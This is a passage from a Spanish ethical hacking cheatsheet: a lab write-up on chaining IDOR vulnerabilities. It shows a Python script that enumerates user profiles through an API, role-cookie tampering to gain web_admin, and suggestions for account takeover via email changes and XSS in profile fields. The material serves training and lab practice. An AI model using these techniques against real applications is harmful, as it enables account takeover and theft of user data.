Cheatsheet
  • Introducción
    • 👾Ethical Hacking Cheatsheet
      • 📕Metodología OSSTMM
      • 📘MITRE ATT&CK
      • 🔢Proceso de Pentesting
      • 💻Instalación del entorno
        • 💻Instalación de VMWare
        • 💻Virtualizar Kali Linux
        • 🎨Personalización del entorno
        • 🕷️Máquinas Vulnerables
          • 💣Metasploitable 3
          • 🖖VPLE
          • 🟦Windows 11 Developer
      • 📔Organización y Notas
      • 👜Documentación e informes
        • 👜Documentos iniciales
        • 👜Toma de notas y organización
        • 👜Herramientas de documentación
        • 👜Tipos de informes
        • 👜Componentes de un informe
        • 👜Cómo redactar un hallazgo
        • 👜Consejos y trucos en la realización de informes
        • 👜Caso práctico: Informes
        • 👜CPTS Report
  • Sistemas básicos
    • 🐧Linux
    • 🪟Windows
    • 🔓Puertos y comprobaciones
    • Modos de Red
  • Recopilación de información
    • 🌐Google Hacking
      • 🌐Google Dorks
    • 💻Enumeración
      • 💻Metodología
      • 💻FTP
      • 💻SMB
      • 💻NFS
      • 💻DNS
      • 💻SMTP
      • 💻IMAP/POP3
      • 💻SNMP
      • 💻MySQL
      • 💻MSSQL
      • 💻Oracle TNS
      • 💻IPMI
      • 💻Protocolos de Administración Remota - Linux
      • 💻Protocolos de Administración Remota - Windows
      • 💻Footprinting Lab - Easy
      • 💻Footprinting Lab - Medium
      • 💻Footprinting Lab - Hard
    • 🔎Recopilación de información
      • 🔎Recopilación Pasiva
        • 🔎Subdominios - Pasiva
        • 🔎Identificar Tecnologías
        • 🔎Infraestructura - Pasiva
        • 🔎Fingerprinting
        • 🦭FOCA
      • 💻Recopilación Activa
        • 💻Reconocimiento automatizado
        • 💻Nmap
        • 💻Nmap Scripting Engine
        • 💻Subdominios - Activa
        • 💻Infraestructura - Activa
        • 💻Virtual Hosts
        • 💻Evasión de IDS
        • 💻Escaneo Avanzado
        • 💻Lab - Recopilación
      • 🧠OSINT
        • 🧠Herramientas Genéricas
        • 🧠OSINT a Usernames
        • 🧠OSINT a Teléfonos
        • 🧠OSINT a Emails
        • 🧠OSINT a Dominios
        • 🧠OSINT en Linkedin
        • 🧠OSINT en Instagram
    • 🕸️Fuzzing
      • 🕸️Gobuster
      • 🕸️Ffuf
      • 🕸️Dirsearch
    • 🕸️Crawling
      • 🕸️Web Crawlers
      • 🕸️Herramientas de Crawling
    • ☁️Hacking en CMS
    • 🍏Hacking en MacOS
  • Análisis de vulnerabilidades
    • 👾Análisis de vulnerabilidades
    • 👽Herramientas de Análisis
      • ⚙️Nmap: Análisis
      • ⚙️Nuclei
      • ⚙️OpenVAS
      • ⚙️Nessus
  • Explotación de vulnerabilidades
    • 💣Explotación en Hosts
      • 🔥Acceso básico
      • 🐚Shells y Payloads
        • 🐚Bind Shells
        • 🐚Reverse Shells
        • 🐚Payloads
        • 💣Metasploit Payloads
        • 🐚Tratamiento de la TTY
        • 🐚Webshells
          • 🐚Laudanum
          • 🐚PHP Webshell
        • 💣Lab de explotación
      • 🔎Buscador de exploits
      • 🔑Password Attacks
        • 🔑Cracking de Contraseñas
        • 🔑Bruteforce de Servicios
        • 🔑Login Bruteforce
          • 🔑Ataques de fuerza bruta
          • 🔑Ataques de diccionario
          • 🔑Ataques Híbridos
          • 🔑Bruteforce con Hydra
          • 🔑Autenticación HTTP básica
          • 🔑Formularios de Login
          • 🔑Medusa
        • 🔑Password Mutations
        • 🔑Contraseñas por defecto
        • 🔑Windows Attacks
          • 🔑Atacando a SAM
          • 🔑Atacando a LSASS
          • 🔑Atacando Active Directory
          • 🔑Credential Hunting - Windows
        • 🔑Linux Attacks
          • 🔑Credential Hunting - Linux
          • 🔑Passwd, Shadow y Opasswd
        • 🔑Archivos Protegidos
        • 🔑Archivos Comprimidos
        • 🔑Políticas de Contraseñas
        • 🔑Administradores de Contraseñas
        • 🔑Labs de contraseñas
          • 🔑Lab de contraseñas - Easy
          • 🔑Lab de contraseñas - Medium
          • 🔑Lab de contraseñas - Hard
      • 👾Atacando Servicios Comunes
        • 👾Ataques a FTP
        • 👾Ataques a SMB
        • 👾Ataques a Bases de Datos
        • 👾Ataques a RDP
        • 👾Ataques a DNS
        • 👾Ataques a Emails
        • 👾Labs - Common Services
          • 👾Lab - Easy
          • 👾Lab - Medium
          • 👾Lab - Hard
      • 🔁Pivoting, Tunelling y Port Forwarding
        • 🔁Redes en Pivoting
        • 🔁Port Forwarding
        • 🔁Remote/Reverse Port Forwarding con SSH
        • 🔁Meterpreter Tunneling & Port Forwarding
        • 🔁Pivoting con Socat
        • 🔁SSH para Windows: plink.exe
        • 🔁Pivoting SSH con Sshuttle
        • 🔁Web Server Pivoting con Rpivot
        • 🔁Port Forwarding con Windows Netsh
        • 🔁Túnel DNS con Dnscat2
        • 🔁SOCKS5 Tunneling con Chisel
        • 🔁ICMP Tunneling con SOCKS
        • 🔁RDP y SOCKS Tunneling con SocksOverRDP
        • 🔁Pivoting: Skills Assessment
        • 🔁Port Forwarding dinámico
      • 🧨Metasploit
        • 🧨Metasploit - Atacando Windows
      • ☠️Msfvenom
      • 🐍Hydra
      • ❌BruteX
      • 🔄File Transfers
      • 💿Buffer Overflow en Linux
    • 💣Explotación en Web
      • ⬆️Ataques de subida de archivos
        • ⬆️Ausencia de validación
        • ⬆️Explotación de subida
        • ⬆️Client-Side Validation
        • ⬆️Filtros de Blacklist
        • ⬆️Filtros de Whitelist
        • ⬆️Filtros de tipo
        • ⬆️Cargas de archivos limitadas
        • ⬆️Otros ataques de carga
        • ⬆️Prevención en carga de archivos
        • ⬆️File Uploads - Skills Assessment
      • 🕸️Ataques Web Modernos
        • 🕸️HTTP Verb Tampering
          • 🕸️Bypass de autenticación
          • 🕸️Bypass de Filtros
          • 🕸️Prevención de HTML Verb Tampering
        • 🕸️IDOR
          • 🕸️Identificación de IDOR
          • 🕸️Enumeración de IDOR
          • 🕸️Bypass de referencias codificadas
          • 🕸️IDOR en APIs Inseguras
          • 🕸️Encadenar vulnerabilidades IDOR
          • 🕸️Prevención de IDOR
        • 🕸️XML External Entity (XXE)
          • 🕸️Local File Disclosure
          • 🕸️Advanced File Disclosure
          • 🕸️Blind Data Exfiltration
          • 🕸️Prevención de XXE
        • 🕸️Ataques Web - Skills Assesment
      • 💣Ataques a Aplicaciones Web
        • 🔎Descubrimiento y enumeración de aplicaciones
        • 💣Ataques a CMS
          • 🔎Wordpress - Enumeración
          • 💣Wordpress - Ataques
          • 🔎Joomla - Enumeración
          • 💣Joomla - Ataques
          • 🔎Drupal - Enumeración
          • 💣Drupal - Ataques
        • 💣Ataques a Servlet Containers
          • 🔎Tomcat - Enumeración
          • 💣Tomcat - Ataques
          • 🔎Jenkins - Enumeración
          • 💣Jenkins - Ataques
        • 💣Ataques a herramientas de monitorización
          • 🔎Splunk - Enumeración
          • 💣Splunk - Ataques
          • 💣PTRG Network Monitor
        • 💣Ataques a aplicaciones varias
          • 💣osTicket
          • 🔎GitLab - Enumeración
          • 💣GitLab - Ataques
          • 💣Tomcat CGI
          • 💣Ataques a CGI - Shellshock
          • 💣Ataques a Aplicaciones de Cliente Pesado
          • 💣Vulnerabilidades Web en Aplicaciones de Cliente Pesado
          • 🔎ColdFusion - Enumeración
          • 💣Coldfusion - Ataques
          • 🔎IIS Tilde - Enumeración
          • 💣Asignación masiva de archivos web
          • 💣Ataques a aplicaciones que se conectan a servicios
          • 💣Otras aplicaciones notables
          • 🛡️Hardening de Aplicaciones
        • 💣Labs - Ataques a Aplicaciones
          • 💣Lab - Ataques a Aplicaciones I
          • 💣Lab - Ataques a Aplicaciones II
          • 💣Lab - Ataques a Aplicaciones III
      • 💉SQL Injection
        • 💉SQLMap
          • 💉Introducción a SQLMap
          • 💉SQLMap - HTTP Request
          • 💉SQLMap - Manejo de errores
          • 💉SQLMap - Ajuste del ataque
          • 💉SQLMap - Enumeración Básica
          • 💉SQLMap - Enumeración Avanzada
          • 💉SQLMap - Bypass de protección web
          • 💉SQLMap - Explotación de S.O.
          • 💉SQLMap - Skills Assessment
      • 💉Command Injection
        • 💉Detección
        • 💉Inyectando comandos
        • 💉Otros operadores de inyección
        • 💉Identificación de filtros
        • 💉Bypass de filtros de espacios
        • 💉Bypass de otros caracteres en Blacklist
        • 💉Bypass de comandos en Blacklist
        • 💉Ofuscación de comandos avanzada
        • 💉Herramientas de Ofuscación de comandos
        • 💉Prevención de Command Injection
        • 💉Command Injection - Skills Assesment
      • 📁Local File Inclusion
      • 💿Cross Site Scripting (XSS)
        • 💿XSS Stored
        • 💿XSS Reflected
        • 💿XSS DOM-Based
        • 💿XSS Discovery
        • 💿XSS Payloads
        • 💿Defacing con XSS
        • 💿Phising con XSS
        • 💿Session Hijacking
        • 💿Prevención de XSS
        • 💿XSS - Skills Assessment
      • 💻API Hacking
      • 🔻DDoS Attack
      • 💡Web Proxies
        • 💡Configuración
        • 💡Interceptando solicitudes
        • 💡Interceptar respuestas
        • 💡Modificación automática
        • 💡Solicitudes repetidas
        • 💡Encoding / Decoding
        • 💡Herramientas de Proxy
        • 💡Burp Intruder
        • 💡Zap Fuzzer
        • 💡Burp Scanner
        • 💡Zap Scanner
        • 💡Extensiones
        • 💡Proxy: Skills Assestment
      • 👨‍🍳Cyberchef
    • 💣Explotación en Redes
      • 😎Man in the middle
      • 🎣Phising
        • 🎣Herramientas de Phising
        • 🎣Seeker y Ngrok
        • 🎣Social Engineering Toolkit
        • 🎣Gophish
      • 🤼Ingeniería Social
      • 🔐Bruteforce a RRSS
      • 🌐Hacking WiFi
        • 🌐Conceptos básicos
        • 🌐Redes Básicas
        • 🌐Sniffing
        • 🌐Deauth
        • 🌐Redes ocultas
        • 🌐WEP Cracking
          • 🌐Ataque a WEP
          • 🌐Fake Autentication
          • 🌐Packet Injection
            • 🌐ARP Request Replay
            • 🌐Chop Chop
            • 🌐Fragmentation
          • 🌐Redes SKA
        • 🌐WPS Cracking
        • 🌐WPA/WPA2 Cracking
        • 🌐Wifite
        • 🌐Evil Portal
        • 🌐Rainbow Table
        • 🌐WPA/WPA2 Enterprise
    • 📕Diccionarios Custom
      • 📕Username Anarchy
      • 📕Cupp
      • 📕Crunch
      • 📕CeWL
      • 📕DyMerge
  • Post Explotación
    • 💻Post Explotación
      • 👾Meterpreter
      • 🐈Mimikatz
      • 🔐LaZagne
      • 📩Procdump y lsass.exe
      • ↔️Movimientos Laterales
        • ↔️Pass the Hash (PtH)
        • ↔️Pass the Ticket (PtT) - Windows
        • ↔️Pass the Ticket (PtT) - Linux
      • 🚪Backdoor en binarios
      • 🦅Covenant
      • ⚔️Koadic
      • 💾Bases de datos
        • 💾MySQL
        • 💾PostgreSQL
      • ⚙️P.E. Avanzada
      • 🧼Borrado de evidencias
    • 🌋Escalada de Privilegios
      • 🐧Escalada de privilegios en Linux
        • 🐧Enumeración del entorno
        • 🐧Enumeración de servicios y componentes internos
        • 🐧Búsqueda de credenciales en Linux
        • 🐧Abuso de PATH
        • 🐧Abuso de comodines
        • 🐧Shells restringidos
        • 🐧Permisos especiales
        • 🐧Abuso de permisos Sudo
        • 🐧Grupos privilegiados
        • 🐧Capabilities
        • 🐧Servicios vulnerables
        • 🐧Abuso de Cron
        • 🐧Contenedores
        • 🐧Docker
        • 🐧Kubernetes
        • 🐧Logrotate
        • 🐧Técnicas varias
        • 🐧Exploits del Kernel - Linux
        • 🐧Bibliotecas compartidas
        • 🐧Secuestro de objetos compartidos
        • 🐧Secuestro de librería de Python
        • 🐧Sudo Zeroday
        • 🐧Polkit Zeroday
        • 🐧Dirty Pipe
        • 🐧Netfilter
        • 🐧Hardening en Linux - Privesc
        • 🐧Escalada en Linux - Skills Assesment
        • ⬆️Linpeas
      • 📘Escalada de privilegios en Windows
        • 📘Herramientas útiles
        • 📘Conciencia situacional
        • 📘Enumeración inicial en Windows
        • 📘Enumeración inicial
        • 📘Comunicación con Procesos
        • 📘Privilegios de Usuario en Windows
          • 📘SeImpersonate y SeAssignPrimaryToken
          • 📘SeDebugPrivilege
          • 📘SeTakeOwnershipPrivilege
        • 📘Privilegios de Grupo en Windows
          • 📘Grupos Integrados en Windows
          • 📘Lectores de Registros de Eventos
          • 📘DnsAdmins
          • 📘Hyper-V Administrators
          • 📘Print Operators
          • 📘Server Operators
        • 📘Atacando el Sistema Operativo Windows
          • 📘User Account Control (UAC)
          • 📘Permisos débiles
          • 📘Exploits del Kernel - Windows
          • 📘Servicios vulnerables en Windows
          • 📘DLL Injection
        • 📘Robo de credenciales en Windows
          • 📘Búsqueda de credenciales en Windows
          • 📘Otros archivos interesantes en Windows
          • 📘Otros robos de credenciales en Windows
        • 📘Entornos restrictivos - Citrix
        • 📘Varias técnicas de escalada en Windows
          • 📘Interacción con usuarios
          • 📘Pillaging
          • 📘Técnicas varias
        • 📘Sistemas Operativos Obsoletos
          • 📘Sistemas operativos heredados
          • 📘Windows Server
          • 📘Windows Desktop
        • 📘Hardening en Windows
        • 📘Escalada de privilegios en Windows: Skills Assessment
          • 📘Escenario 1
          • 📘Escenario 2
      • 🔴GTFOBins
  • Evasión de defensas
    • 🛡️Detección y evasión de defensas
      • 🛡️Load Balancing Detector
      • 🛡️Evasión de WAFs
      • 🛡️Evasión de Antivirus
      • 🛡️Herramientas de Evasión
  • Active Directory
    • ☁️Active Directory
      • ☁️Enumeración en AD
        • ☁️AD: Enumeración inicial del dominio
        • ☁️AD: Enumeración de controles de seguridad
        • ☁️AD: Enumeración con credenciales: desde Linux
        • 👁️PowerView
        • ☁️AD: Enumeración con credenciales: desde Windows
        • ☁️AD: Enumeración nativa en Windows
      • ☄️Sniffing desde el Foothold
        • ☄️LLMNR/NBT-NS Poisoning - Desde Linux
        • ☄️LLMNR/NBT-NS Poisoning - Desde Windows
      • 🔫Password Spraying
        • 🔫AD: Políticas de contraseñas
        • 🔫AD: Crear lista de usuarios
        • 🔫Password Spraying Interno - Desde Linux
        • 🔫Password Spraying Interno - Desde Windows
      • 🐺Kerberos
        • ⚔️Hacking en Kerberos
        • ⚔️Kerberoasting desde Linux
        • ⚔️Kerberoasting desde Windows
        • 🗝️Acceso a Credenciales
        • 🗝️Volcado de LSASS y SAM
        • 🗝️Credenciales cacheadas
        • 🗝️Pass the Hash
        • 🪙Token Impersonation
        • 🎟️ASK-TGT
        • 🎫Golden y Silver Tickets
        • 🐺Kerberos "Double Hop"
      • 🦸‍♂️ACLs - Access Control Lists
        • 🦸‍♂️ACLs Vulnerables
        • 🦸‍♂️Enumeración de ACLs
        • 🦸‍♂️Tácticas de abuso de ACLs
      • 🔄DCSync
      • ⬆️Acceso Privilegiado
      • ❤️‍🩹Vulnerabilidades en AD
      • ⚙️Malas configuraciones en AD
      • 🤝Relaciones de confianza
        • 🤝Ataque de confianza de dominio - Desde Windows
        • 🤝Ataque de confianza de dominio - Desde Linux
        • 🤝Abuso de confianza entre bosques - Desde Windows
        • 🤝Abuso de confianza entre bosques - Desde Linux
      • ☁️Vulnerable AD
      • ⬇️SAM
      • 🔐LDAP
        • 🔐Atacando LDAP
      • 🔐NTDS
      • 🔐NTLM/SMB Relay
      • 🩸BloodHound
      • 🛡️Hardening en AD
      • 💻Técnicas adicionales de auditoría en AD
      • 💻AD - Skills Assessment I
      • 💻AD - Skills Assessment II
  • Hacking en entornos reales
    • 🏛️Enterprise Hacking
      • 🏛️Escenario y KickOff
      • 🏛️Enterprise Hacking Checklist
      • 🏛️Pruebas externas
        • 🏛️Recopilación de Información Externa
        • 🏛️Enumeración y explotación de servicios
        • 🏛️Enumeración y explotación web
        • 🏛️Acceso inicial
      • 🏛️Pruebas internas
        • 🏛️Persistencia Post-Explotación
        • 🏛️Recopilación de Información Interna
        • 🏛️Explotación y escalada de privilegios
      • 🏛️Movimiento lateral y escalada de privilegios
        • 🏛️Movimiento lateral
        • 🏛️Comprometiendo Active Directory
        • 🏛️Post Explotación en Active Directory
        • 🏛️Cierre del pentesting
    • ☁️AWS - Amazon Web Services
    • ⚔️Hacking en AWS
  • Anonimato y privacidad
    • 👹Anonimato y Privacidad
      • 🔒VPN
      • 🔒Proxy
      • 🔒Red TOR
      • 🔒Zero Knowledge Services
  • Machine Learning en Hacking
    • 🧠Machine Learning
      • 🧠Batea
      • 💀Pesidious
  • Hardware Hacking
    • 🐬Flipper Zero
      • 🐬Introducción
        • 🐬qFlipper
        • 🐬Instalar qFlipper en Kali Linux
        • 🐬Recuperación de Firmware
      • 📻Sub-GHz
        • 📻Lectura de señales
        • 📻Lectura de señales RAW
        • 📻Añadir nuevos controles remotos
        • 📻Frecuencias
      • ♒RFID de 125 kHz
        • ♒Lectura de tarjetas RFID
        • ♒Añadir tarjetas RFID manualmente
        • ♒Escritura de datos en tarjetas T5577
        • ♒Microchips para animales
      • 💳NFC
        • 💳Lectura de tarjetas NFC
        • 💳Extracción de claves con MFKey32
        • 💳Desbloqueo de tarjetas con contraseñas
        • 💳Escritura de datos en Magic Cards
        • 💳Añadir nuevas tarjetas NFC
      • 🔴Infrarrojos
        • 🔴Lectura de señales infrarrojas
        • 🔴Controles remotos universales
      • 👿Bad USB
        • 👿Script básico de Youtube
        • 👿Bruteforce de Pins
        • 👿RatLocker
      • 🎨Custom Firmwares
      • 🛜GPIO y Módulos
        • 🛜Marauder Firmware
        • 🛜Escaneo de Redes Wifi
        • 🛜Wifi Password Cracking
        • 🛜Evil Portal
      • 🔘iButton
        • 🔘Lectura de llaves iButton
        • 🔘Agregar llaves iButton manualmente
        • 🔘Escritura de datos en llaves iButton
  • Writeups
    • 🟢Hack the Box
      • 🟠Blurry
      • 🟠Hospital
      • 🟠Zipping
      • 🟢Analytics
      • 🟢Bizness
      • 🟢Boardlight
      • 🟢Broker
      • 🟢Chemistry
      • 🟢Codify
      • 🟢CozyHosting
      • 🟢Devvortex
      • 🟢GreenHorn
      • 🟢LinkVortex
      • 🟢PermX
    • 🐋Dockerlabs
      • 🟠Inclusion
      • 🟠Veneno
      • 🟢Hedgehog
      • 🟢Library
      • 🟢Move
      • 🟢Walking CMS
    • 🌩️TryHackMe
      • 🟠Attracktive Directory
    • 🌐Over The Wire
      • 🌐Bandit
      • 🌐Natas
Con tecnología de GitBook
En esta página
  • Divulgación de información
  • Modificar los datos de otros usuarios
  • Encadenamiento de 2 vulnerabilidades IDOR
  • Caso práctico
  • Script de enumeración
  • Usuarios del site
  • Usuario administrador
  • Cambiar el correo electrónico del administrador

¿Te fue útil?

  1. Explotación de vulnerabilidades
  2. Explotación en Web
  3. Ataques Web Modernos
  4. IDOR

Encadenar vulnerabilidades IDOR

AnteriorIDOR en APIs InsegurasSiguientePrevención de IDOR

Última actualización hace 6 meses

¿Te fue útil?

Por lo general, una solicitud GET al punto final de la API debe devolver los detalles del usuario solicitado, por lo que podemos intentar llamarlo para ver si podemos recuperar los detalles de nuestro usuario. También notamos que después de que se carga la página, obtiene los detalles del usuario con una solicitud GET al mismo punto final de la API:

Como se mencionó en la sección anterior, la única forma de autorización en nuestras solicitudes HTTP es la cookie role=employee, ya que la solicitud HTTP no contiene ninguna otra forma de autorización específica del usuario, como un token JWT, por ejemplo. Incluso si existiera un token, a menos que un sistema de control de acceso de back-end lo estuviera comparando activamente con los detalles del objeto solicitado, aún podríamos recuperar los detalles de otros usuarios.


Divulgación de información

Enviemos una solicitud GET con otro uid:

Como podemos ver, esto devolvió los detalles de otro usuario, con sus propios uuid y role, confirmando una vulnerabilidad IDOR Information Disclosure:

{
    "uid": "2",
    "uuid": "4a9bd19b3b8676199592a346051f950c",
    "role": "employee",
    "full_name": "Iona Franklyn",
    "email": "i_franklyn@employees.htb",
    "about": "It takes 20 years to build a reputation and few minutes of cyber-incident to ruin it."
}

Esto nos proporciona nuevos detalles, especialmente el uuid, que antes no podíamos calcular y, por lo tanto, no podíamos cambiar los detalles de otros usuarios.


Modificar los datos de otros usuarios

Ahora, con el usuario uuid en mano, podemos cambiar los detalles de este usuario enviando una solicitud PUT/profile/api.php/profile/2 con los detalles anteriores junto con cualquier modificación que hayamos realizado, de la siguiente manera:

Esta vez no recibimos ningún mensaje de error de control de acceso, y cuando intentamos acceder por GET a los detalles del usuario nuevamente, vemos que efectivamente actualizamos sus datos:

Además de permitirnos ver detalles potencialmente confidenciales, la capacidad de modificar los detalles de otro usuario también nos permite realizar otros ataques. Un tipo de ataque consiste en modificar la dirección de correo electrónico de un usuario y luego solicitar un enlace para restablecer la contraseña, que se enviará a la dirección de correo electrónico que especificamos, lo que nos permitirá tomar control de su cuenta. Otro ataque potencial es colocar un payload XSS en el campo "acerca de", que se ejecutaría una vez que el usuario visite su página Editar perfil, lo que nos permitirá atacar al usuario de diferentes maneras.


Encadenamiento de 2 vulnerabilidades IDOR

Dado que hemos identificado una vulnerabilidad de divulgación de información de IDOR, también podemos enumerar a todos los usuarios y buscar otras funciones, idealmente una función de administrador. Intente escribir un script para enumerar a todos los usuarios, de manera similar a lo que hicimos anteriormente.

Una vez que enumeremos todos los usuarios, encontraremos un usuario administrador con los siguientes detalles:

{
    "uid": "X",
    "uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
    "role": "web_admin",
    "full_name": "administrator",
    "email": "webadmin@employees.htb",
    "about": "HTB{FLAG}"
}

Podemos modificar los datos del administrador y luego realizar uno de los ataques anteriores para tomar el control de su cuenta. Sin embargo, como ahora conocemos el nombre del rol de administrador (web_admin), podemos asignarlo a nuestro usuario para poder crear nuevos usuarios o eliminar usuarios actuales. Para ello, interceptaremos la solicitud cuando hagamos clic en el botón Update profile y cambiaremos nuestro rol a web_admin:

Esta vez, no recibimos el mensaje de error Invalid role ni tampoco ningún mensaje de error de control de acceso, lo que significa que no hay medidas de control de acceso de back-end sobre qué roles podemos establecer para nuestro usuario. Si ingresamos por GET nuestros detalles de usuario, vemos que efectivamente se ha establecido el role en web_admin:

{
    "uid": "1",
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "web_admin",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}

Ahora, podemos actualizar la página para actualizar nuestra cookie, o configurarla manualmente como Cookie: role=web_admin, y luego interceptar la solicitud Update para crear un nuevo usuario y ver si se nos permite hacerlo:

Esta vez no recibimos ningún mensaje de error. Si enviamos una solicitud GET para el nuevo usuario, vemos que se ha creado correctamente:

Al combinar la información que obtuvimos una IDOR Information Disclosure vulnerability con un ataque a un punto final de API IDOR Insecure Function Calls, pudimos modificar los detalles de otros usuarios y crear o eliminar usuarios mientras eludíamos varios controles de acceso establecidos. En muchas ocasiones, la información que filtramos a través de vulnerabilidades de IDOR se puede utilizar en otros ataques, como IDOR o XSS, lo que da lugar a ataques más sofisticados o eludir los mecanismos de seguridad existentes.

Con nuestro nuevo role, también podemos realizar asignaciones masivas para cambiar campos específicos para todos los usuarios, como colocar payloads XSS en sus perfiles o cambiar su correo electrónico a un correo electrónico que especifiquemos. Intente escribir un script que cambie el correo electrónico de todos los usuarios a un correo electrónico que usted elija. Puede hacerlo recuperando sus uuids y luego enviando una solicitud PUT para cada uno con el nuevo correo electrónico.


Caso práctico

Objetivo: 94.237.60.154:40673

Intente cambiar el correo electrónico del administrador a ' flag@idor.htb ' y debería aparecer la flag en la página 'Edit profile'. No olvides configurar el UUID correcto del administrador.

Script de enumeración

Lo primero vamos a crear un script en python para enumerar todos los empleados del site:

import requests
import json

# Configuración
url = "http://94.237.60.154:40673/profile/api.php/profile/"
cookies = {'role': 'employee'}
headers = {
    "Content-Type": "application/json",
    "Referer": "http://94.237.60.154:40673/profile/index.php"
}
output_file = "users.txt"

# Rango de IDs
start_id = 1
end_id = 100

print("[+] Enumerando usuarios...")
with open(output_file, "w") as f:
    for uid in range(start_id, end_id + 1):
        print(f"[+] Intentando recuperar detalles del usuario con uid={uid}...")
        try:
            response = requests.get(f"{url}{uid}", cookies=cookies, headers=headers, timeout=5)
            if response.status_code == 200 and "uuid" in response.text:
                print(f"[+] Usuario encontrado: {response.json()}")
                json.dump(response.json(), f, indent=4)
                f.write("\n")
            else:
                print(f"[-] Usuario con uid={uid} no encontrado o acceso denegado.")
        except requests.RequestException as e:
            print(f"[!] Error con uid={uid}: {e}")

print(f"[+] Enumeración completa. Usuarios guardados en {output_file}")

Lo ejecutamos y nos guarda todos los usuarios en un archivo de texto:

afsh4ck@kali$ python3 brute-users.py
[+] Enumerando usuarios...
[+] Intentando recuperar detalles del usuario con uid=1...
[+] Usuario encontrado: {'uid': '1', 'uuid': '40f5888b67c748df7efba008e7c2f9d2', 'role': 'employee', 'full_name': 'Amy Lindon', 'email': 'a_lindon@employees.htb', 'about': 'A Release is like a boat. 80% of the holes plugged is not good enough.'}
[+] Intentando recuperar detalles del usuario con uid=2...
[+] Usuario encontrado: {'uid': '2', 'uuid': '4a9bd19b3b8676199592a346051f950c', 'role': 'employee', 'full_name': 'Iona Franklyn', 'email': 'i_franklyn@employees.htb', 'about': 'It takes 20 years to build a reputation and few minutes of cyber-incident to ruin it.'}pr
[+] Intentando recuperar detalles del usuario con uid=3...
[+] Usuario encontrado: {'uid': '3', 'uuid': '771409a8fb1543788fe7d91f1ea0987f', 'role': 'employee', 'full_name': 'Ardith Bloxham', 'email': 'a_bloxham@employees.htb', 'about': 'A fool with a tool is still a fool. Always have a goal, a plan & the tool as the enabler.'}
[+] Intentando recuperar detalles del usuario con uid=4...
[+] Usuario encontrado: {'uid': '4', 'uuid': '1a1f289428bd7ab3beb8a89d4c90b22f', 'role': 'employee', 'full_name': 'Lela Symons', 'email': 'l_symons@employees.htb', 'about': 'When working for IT Security, you are only one Incident away from being the most important group in IT.'}
[+] Intentando recuperar detalles del usuario con uid=5...
[+] Usuario encontrado: {'uid': '5', 'uuid': 'eb4fe264c10eb7a528b047aa983a4829', 'role': 'employee', 'full_name': 'Callahan Woodhams', 'email': 'c_woodhams@employees.htb', 'about': "I don't like quoting others!"}
[+] Intentando recuperar detalles del usuario con uid=6...
[+] Usuario encontrado: {'uid': '6', 'uuid': 'cb67c3ae286e9140355eb56d2c33ff5b', 'role': 'employee', 'full_name': 'Roscoe Alden', 'email': 'r_alden@employees.htb', 'about': "Security is always excessive until it's not enough."}
[+] Intentando recuperar detalles del usuario con uid=7...
[+] Usuario encontrado: {'uid': '7', 'uuid': '63d9b90d9808e4ddc24c2331ddd6775d', 'role': 'employee', 'full_name': 'Marsha Pierce', 'email': 'm_pierce@employees.htb', 'about': "Security used to be an inconvenience sometimes, but now it's a necessity all the time."}
[+] Intentando recuperar detalles del usuario con uid=8...
[+] Usuario encontrado: {'uid': '8', 'uuid': 'deb77b7fcd6ee6af0b2c992355eaeea9', 'role': 'employee', 'full_name': 'George Fleming', 'email': 'g_fleming@employees.htb', 'about': 'IT Security is a form of Problem Management. It looks to proactively prevent Incidents.'}
[+] Intentando recuperar detalles del usuario con uid=9...
[+] Usuario encontrado: {'uid': '9', 'uuid': 'ca7724498403de38829ae36fc9149b75', 'role': 'employee', 'full_name': 'Augusta Edwardson', 'email': 'a_edwardson@employees.htb', 'about': 'Simplicity is the ultimate sophistication.'}
[+] Intentando recuperar detalles del usuario con uid=10...
[+] Usuario encontrado: {'uid': '10', 'uuid': 'bfd92386a1b48076792e68b596846499', 'role': 'staff_admin', 'full_name': 'admin', 'email': 'admin@employees.htb', 'about': 'Never gonna give you up, Never gonna let you down'}
[+] Intentando recuperar detalles del usuario con uid=11...
[-] Usuario con uid=11 no encontrado o acceso denegado.
[+] Intentando recuperar detalles del usuario con uid=12...
[-] Usuario con uid=12 no encontrado o acceso denegado.
<----SNIP---->
[+] Intentando recuperar detalles del usuario con uid=99...
[-] Usuario con uid=99 no encontrado o acceso denegado.
[+] Intentando recuperar detalles del usuario con uid=100...
[-] Usuario con uid=100 no encontrado o acceso denegado.
[+] Enumeración completa. Usuarios guardados en users.txt

Usuarios del site

cat users.txt 
{
    "uid": "1",
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "employee",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
{
    "uid": "2",
    "uuid": "4a9bd19b3b8676199592a346051f950c",
    "role": "employee",
    "full_name": "Iona Franklyn",
    "email": "i_franklyn@employees.htb",
    "about": "It takes 20 years to build a reputation and few minutes of cyber-incident to ruin it."
}
{
    "uid": "3",
    "uuid": "771409a8fb1543788fe7d91f1ea0987f",
    "role": "employee",
    "full_name": "Ardith Bloxham",
    "email": "a_bloxham@employees.htb",
    "about": "A fool with a tool is still a fool. Always have a goal, a plan & the tool as the enabler."
}
{
    "uid": "4",
    "uuid": "1a1f289428bd7ab3beb8a89d4c90b22f",
    "role": "employee",
    "full_name": "Lela Symons",
    "email": "l_symons@employees.htb",
    "about": "When working for IT Security, you are only one Incident away from being the most important group in IT."
}
{
    "uid": "5",
    "uuid": "eb4fe264c10eb7a528b047aa983a4829",
    "role": "employee",
    "full_name": "Callahan Woodhams",
    "email": "c_woodhams@employees.htb",
    "about": "I don't like quoting others!"
}
{
    "uid": "6",
    "uuid": "cb67c3ae286e9140355eb56d2c33ff5b",
    "role": "employee",
    "full_name": "Roscoe Alden",
    "email": "r_alden@employees.htb",
    "about": "Security is always excessive until it's not enough."
}
{
    "uid": "7",
    "uuid": "63d9b90d9808e4ddc24c2331ddd6775d",
    "role": "employee",
    "full_name": "Marsha Pierce",
    "email": "m_pierce@employees.htb",
    "about": "Security used to be an inconvenience sometimes, but now it's a necessity all the time."
}
{
    "uid": "8",
    "uuid": "deb77b7fcd6ee6af0b2c992355eaeea9",
    "role": "employee",
    "full_name": "George Fleming",
    "email": "g_fleming@employees.htb",
    "about": "IT Security is a form of Problem Management. It looks to proactively prevent Incidents."
}
{
    "uid": "9",
